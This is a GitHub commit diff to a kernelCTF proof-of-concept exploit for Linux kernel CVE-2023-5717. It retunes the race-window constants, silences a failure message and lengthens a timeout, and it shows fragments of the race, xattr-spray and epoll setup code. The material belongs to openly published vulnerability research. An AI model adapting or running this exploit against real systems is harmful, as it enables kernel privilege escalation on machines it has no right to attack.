Skip to content

Commit 616106b

Browse files
committed
Adjust MIN, MAX
1 parent 9ed304d commit 616106b

File tree

2 files changed

+4
-4
lines changed
  • pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55

2 files changed

+4
-4
lines changed
Binary file not shown.

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c

+4-4
Original file line numberDiff line numberDiff line change
@@ -27,8 +27,8 @@
2727
#include <time.h>
2828
#include <signal.h>
2929

30-
#define MIN 62000
31-
#define MAX 74000
30+
#define MIN 60000
31+
#define MAX 75000
3232

3333
#define SIBLINGS_MAX 1024 // about 0x4000 ~
3434
#define CPU_A 1 // main cpu
@@ -650,7 +650,7 @@ void exploit(){
650650
exit(EXIT_FAILURE);
651651
}
652652
// place holder
653-
puts("[-] Race Failure");
653+
// puts("[-] Race Failure");
654654
}
655655
}
656656

@@ -665,7 +665,7 @@ int main(void) {
665665
set_max_fd_limit();
666666
tfd = timerfd_create(CLOCK_MONOTONIC, 0);
667667
do_epoll_enqueue(tfd);
668-
alarm(60*10);
668+
alarm(60*40);
669669
race_oracle();
670670
spray_xattr_page(0x3000, 2048, 0);
671671
exploit();

0 commit comments

Comments
 (0)